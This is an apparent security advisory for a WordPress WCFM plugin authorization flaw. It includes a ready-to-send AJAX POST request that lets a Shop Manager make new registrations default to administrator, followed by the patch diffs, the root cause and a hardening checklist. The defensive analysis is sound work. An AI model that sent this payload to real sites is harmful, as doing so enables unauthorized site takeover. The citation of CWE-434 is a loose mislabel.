The Exploit
Scenario: An authenticated Shop Manager (or higher role) with a valid WordPress session.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vulnerable-site.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<shop_manager_session>
action=wcfm_ajax_controller&controller=settings&task=update_settings&wcfm_page_options[default_role]=administrator&wcfm_page_options[users_can_register]=1
The attacker observes a 200 OK response with {"success":true}. A second request to /wp-json/wp/v2/users or direct WordPress login shows that new user registrations now default to the administrator role, granting the attacker a pathway to full site control.
What the Patch Did
Before:
} else {
include_once( $this->controllers_path . 'settings/wcfm-controller-settings.php' );
new WCFM_Settings_Controller();
}
After:
} else {
if(!current_user_can( apply_filters( 'wcfm_setup_page_required_capability', 'access_wcfm_site_setup' ) ) && !( function_exists('wcfm_is_manager') && wcfm_is_manager() && function_exists('wcfm_is_group_manager') && ! wcfm_is_group_manager() )) {
wp_send_json_error( esc_html__( 'You don’t have permission to do this.', 'woocommerce' ) );
wp_die();
}
include_once( $this->controllers_path . 'settings/wcfm-controller-settings.php' );
new WCFM_Settings_Controller();
}
The AJAX handler now enforces a capability check via current_user_can() against the filterable wcfm_setup_page_required_capability capability (defaulting to access_wcfm_site_setup), or verifies the user is a WCFM manager (but explicitly not a group manager). Without either condition met, the handler returns a JSON error and terminates via wp_die(), preventing instantiation of the settings controller.
The second vulnerability in the settings controller itself was patched here:
Before:
if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) {
$wcfm_page_options = get_option("wcfm_page_options", array());
$wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] );
foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) {
update_option( $wcfm_page_option_key, $wcfm_page_option_val );
}
}
After:
if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) {
$wcfm_page_options = get_option("wcfm_page_options", array());
$wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] );
$wcfm_allowed_page_keys = apply_filters( 'wcfm_allowed_page_keys', array('wc_frontend_manager_page_id', 'wcfm_vendor_membership_page_id', 'wcfm_vendor_registration_page_id', 'wcfm_affiliate_registration_page_id') );
$wcfm_page_options = array_intersect_key( $wcfm_page_options, array_flip( $wcfm_allowed_page_keys ) );
foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) {
update_option( $wcfm_page_option_key, $wcfm_page_option_val );
}
}
The settings controller now enforces input validation via array_intersect_key(), which whitelists the keys permitted for update: wc_frontend_manager_page_id, wcfm_vendor_membership_page_id, wcfm_vendor_registration_page_id, and wcfm_affiliate_registration_page_id. Any key not in this allowlist is silently discarded before update_option() is called.
Root Cause
CWE-862: Missing Authorization and CWE-434: Unrestricted Upload of File with Dangerous Type (in spirit—arbitrary option mutation).
The vulnerability spans two trust boundaries. First, the AJAX dispatcher in class-wcfm-ajax.php routes the action=wcfm_ajax_controller&controller=settings request without verifying the caller holds the access_wcfm_site_setup capability. The dispatcher instantiates WCFM_Settings_Controller unconditionally, shifting control to the settings handler. Second, within the controller, the wcfm_page_options parameter from $_POST is merged directly into the options table via update_option() with no whitelist validation. An attacker in the authenticated Shop Manager role can craft a POST body that includes arbitrary WordPress option keys—such as default_role, users_can_register, or even plugin-specific settings—and mutate them without restriction.
Why It Works
The load-bearing line is array_intersect_key( $wcfm_page_options, array_flip( $wcfm_allowed_page_keys ) ). Removing it restores the vulnerability: an attacker could still inject default_role=administrator into the POST body and it would flow through to update_option(). The capability check in the AJAX handler is the first gate—it prevents any unauthenticated or unprivileged user from reaching the settings controller at all. The whitelist is the second gate: even if a legitimately authenticated Shop Manager reaches the controller, only the four named options can be mutated. The engineer added apply_filters() on both checks to allow parent plugins or site configuration to extend capabilities and allowed keys, but those hooks only widen the perimeter—they do not bypass the underlying validation.
Hardening Checklist
- On every AJAX handler that mutates state, prepend
current_user_can()with an explicit capability name before any business logic executes. Usewp_die()orwp_send_json_error()to halt on failure. - For any user-supplied data that selects keys in an associative array passed to
update_option(),get_option(), or similar global mutation functions, maintain a whitelist and enforce it viaarray_intersect_key()or equivalent filtering before the sink. - Use
apply_filters()liberally on capability checks and whitelists, but document the filter name and expected input type so integrators know what values are safe to add. - Audit all POST/GET/REQUEST parameters that flow into
update_option()ordelete_option()calls; log or grep your codebase for patterns like$_POST[ ... ]followed by those functions within five lines. - In integration tests, verify that a Shop Manager role fails to call AJAX handlers restricted to administrators or specific custom capabilities; use
wp_set_current_user()to simulate role contexts.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-0845